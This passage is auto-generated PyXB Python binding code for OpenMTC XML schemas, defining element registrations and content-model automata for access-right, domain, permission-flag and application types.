transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
st_4._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
PermissionHolderType._Automaton = _BuildAutomaton_3()
HolderRefListType._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'holderRef'),
pyxb.binding.datatypes.anyURI, scope=HolderRefListType,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
73, 4)))
def _BuildAutomaton_4():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_4
del _BuildAutomaton_4
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
63, 12))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(HolderRefListType._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'holderRef')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
63, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
HolderRefListType._Automaton = _BuildAutomaton_4()
DomainListType._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'domain'),
pyxb.binding.datatypes.anyURI, scope=DomainListType,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
83, 4)))
def _BuildAutomaton_5():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_5
del _BuildAutomaton_5
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
69, 12))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(DomainListType._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'domain')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
69, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
DomainListType._Automaton = _BuildAutomaton_5()
PermissionFlagListType._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'flag'),
PermissionFlagType, scope=PermissionFlagListType,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
95, 4)))
def _BuildAutomaton_6():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_6
del _BuildAutomaton_6
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
99, 12))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(PermissionFlagListType._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'flag')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
99, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
PermissionFlagListType._Automaton = _BuildAutomaton_6()
ApplicationIDs._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'applicationID'),
pyxb.binding.datatypes.string, scope=ApplicationIDs,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
112, 4)))
def _BuildAutomaton_7():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_7
del _BuildAutomaton_7
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
107, 12))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(ApplicationIDs._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'applicationID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
107, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
ApplicationIDs._Automaton = _BuildAutomaton_7()
SclIDs._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'sclID'),
pyxb.binding.datatypes.string, scope=SclIDs,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
122, 4)))
def _BuildAutomaton_8():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_8
del _BuildAutomaton_8
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
118, 12))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(
SclIDs._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'sclID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
118, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
SclIDs._Automaton = _BuildAutomaton_8()
AccessRightAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=AccessRightAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
AccessRightAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime'),
pyxb.binding.datatypes.dateTime, scope=AccessRightAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16,
4)))
AccessRightAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings,
scope=AccessRightAnnc, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18,
4)))
AccessRightAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'announceTo'), AnnounceTo,
scope=AccessRightAnnc, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 58,
4)))
AccessRightAnnc._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'link'),
pyxb.binding.datatypes.anyURI,
scope=AccessRightAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
74, 4)))
def _BuildAutomaton_9():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_9
del _BuildAutomaton_9
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd',
13, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd',
14, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd',
15, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd',
16, 12))
counters.add(cc_3)
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(AccessRightAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'link')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(AccessRightAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(AccessRightAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd',
14, 12))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(AccessRightAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd',
15, 12))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(AccessRightAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'announceTo')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd',
16, 12))
st_4 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
transitions.append(fac.Transition(st_2, [
]))
transitions.append(fac.Transition(st_3, [
]))
transitions.append(fac.Transition(st_4, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, True)]))
st_4._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
AccessRightAnnc._Automaton = _BuildAutomaton_9()
AccessRights._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightCollection'),
NamedReferenceCollection, scope=AccessRights,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd',
22, 4)))
AccessRights._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightAnncCollection'),
NamedReferenceCollection, scope=AccessRights,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd',
23, 4)))
AccessRights._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=AccessRights,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
AccessRights._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=AccessRights,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
AccessRights._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=AccessRights,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
AccessRights._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'),
pyxb.binding.datatypes.anyURI, scope=AccessRights,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76,
4)))
def _BuildAutomaton_10():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_10
del _BuildAutomaton_10
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd',
12, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd',
13, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd',
14, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd',
16, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd',
17, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd',
18, 12))
counters.add(cc_5)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(AccessRights._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(AccessRights._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(AccessRights._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd',
14, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(AccessRights._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightCollection')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd',
16, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(AccessRights._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightAnncCollection')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd',
17, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.ElementUse(AccessRights._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd',
18, 12))
st_5 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_5, True)]))
st_5._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
AccessRights._Automaton = _BuildAutomaton_10()
Application._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'referencePoint'), ReferencePoint,
scope=Application, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
32, 4)))
Application._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'aPoC'),
pyxb.binding.datatypes.anyURI, scope=Application,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
33, 4)))
Application._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'aPoCPaths'), APoCPaths,
scope=Application, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
34, 4)))
Application._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'locRequestor'),
pyxb.binding.datatypes.anyType, scope=Application,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
36, 4)))
Application._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=Application,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
Application._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=Application,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
Application._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=Application,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
Application._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime'),
pyxb.binding.datatypes.dateTime, scope=Application,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16,
4)))
Application._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings,
scope=Application, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18,
4)))
Application._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'announceTo'), AnnounceTo,
scope=Application, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 58,
4)))
Application._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'),
pyxb.binding.datatypes.anyURI, scope=Application,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76,
4)))
Application._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'groupsReference'),
pyxb.binding.datatypes.anyURI, scope=Application,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 77,
4)))
Application._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'containersReference'),
pyxb.binding.datatypes.anyURI, scope=Application,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 79,
4)))
Application._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightsReference'),
pyxb.binding.datatypes.anyURI, scope=Application,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 81,
4)))
Application._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'notificationChannelsReference'),
pyxb.binding.datatypes.anyURI, scope=Application,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 82,
4)))
def _BuildAutomaton_11():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_11
del _BuildAutomaton_11
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
12, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
13, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
14, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
15, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
16, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
17, 12))
counters.add(cc_5)
cc_6 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
18, 12))
counters.add(cc_6)
cc_7 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
19, 12))
counters.add(cc_7)
cc_8 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
20, 12))
counters.add(cc_8)
cc_9 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
21, 12))
counters.add(cc_9)
cc_10 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
23, 12))
counters.add(cc_10)
cc_11 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
24, 12))
counters.add(cc_11)
cc_12 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
25, 12))
counters.add(cc_12)
cc_13 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
26, 12))
counters.add(cc_13)
cc_14 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
27, 12))
counters.add(cc_14)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(Application._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(Application._UseForTag(
